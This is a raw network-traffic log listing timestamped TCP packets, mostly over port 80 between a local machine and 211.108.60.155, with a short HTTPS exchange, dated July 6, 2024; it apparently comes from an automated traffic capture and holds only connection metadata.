Jul 6, 2024 14:10:13.758428097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758470058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758485079 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758519888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758533001 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758534908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758555889 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758630037 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758667946 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758682013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758721113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758730888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758775949 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758822918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758824110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758905888 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758920908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.758948088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758975983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.758995056 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759027958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759073019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759126902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759156942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759202957 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759251118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759274960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759294033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759306908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759356022 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759387970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759409904 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759422064 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759536982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759550095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759578943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759591103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759641886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759654999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759701014 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759711981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759778023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759803057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.759819984 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759835958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.759974957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.760024071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.760041952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.760056973 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.760091066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.760104895 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.760183096 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.760196924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.760222912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.760245085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761318922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761336088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761351109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761370897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761370897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761395931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761429071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761445045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761476994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761488914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761491060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761507988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761507988 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.761533976 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.761550903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.960704088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960740089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960755110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960762024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.960802078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.960802078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.960836887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960851908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960866928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960882902 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.960903883 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.960931063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961062908 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961076975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961091995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961108923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961126089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961131096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961131096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961141109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961155891 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961169004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961174011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961184025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961198092 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961205959 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961225033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961244106 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961446047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961461067 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961474895 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961488962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961494923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961524010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961579084 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961594105 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961608887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961617947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961622953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961637020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961642981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961651087 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961663961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961668968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961678982 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961685896 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961693048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961708069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.961716890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.961739063 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962323904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962338924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962373972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962378979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962393999 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962408066 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962412119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962423086 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962436914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962446928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962450981 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962465048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962477922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962477922 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962485075 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962492943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962506056 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962507010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962521076 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962528944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962533951 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962548971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962552071 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962563038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962584019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962587118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962598085 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962611914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962625027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962639093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962642908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962642908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962642908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962654114 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962687969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962687969 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.962827921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962841034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:13.962883949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:13.989015102 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.032510042 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.143141031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143172026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143204927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143218040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143228054 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143244028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143260956 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143265963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143280029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143307924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143318892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143403053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143415928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143450975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143524885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143560886 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143573046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143697023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143716097 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143738031 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143754959 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.143768072 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143873930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143887043 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143901110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.143956900 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144121885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144181967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144236088 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144299030 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144356012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144371033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144401073 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144515038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144582033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144596100 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144624949 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144628048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144637108 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144661903 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144711018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144772053 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144789934 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144813061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144824028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144870996 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144882917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.144917965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.144989967 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145019054 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145062923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145127058 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145138979 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145174980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145246029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145303011 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145313025 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145361900 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145401955 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145416021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145451069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145481110 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145514965 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145556927 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145641088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145723104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145759106 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145762920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145793915 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.145833015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.145987034 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146017075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146030903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146056890 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146069050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146142006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146153927 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146181107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146190882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146250963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146291018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146291018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146354914 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146413088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146437883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146472931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146502972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146514893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146537066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146548033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146646976 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146678925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146718979 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146764994 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146778107 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146800041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146811008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.146883011 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146950960 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146980047 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146991968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.146998882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147016048 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147023916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147126913 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147140026 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147173882 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147367954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147386074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147406101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147408009 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147417068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147420883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147444010 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147454023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147531033 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147588015 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147588968 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147625923 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147687912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147727013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147747993 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147784948 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147902966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147914886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147928953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147938967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147943020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.147952080 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147970915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.147984028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.148463964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.148509026 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.148514032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.148528099 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.148571968 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.148580074 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.148606062 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.148617983 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.148650885 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.148663998 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.250557899 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250582933 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250590086 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250602007 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250639915 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250736952 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.250736952 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.250758886 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250807047 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250842094 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.250849009 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.250871897 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.251007080 CEST	443	49733	20.114.59.183	192.168.2.4
Jul 6, 2024 14:10:14.251030922 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.258325100 CEST	49733	443	192.168.2.4	20.114.59.183
Jul 6, 2024 14:10:14.336988926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337023020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337044954 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337059975 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337083101 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337105989 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337107897 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337137938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337158918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337172985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337183952 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337187052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337253094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337253094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:14.337307930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:14.337373972 CEST	80	49732	211.108.60.155	192.168.2.4
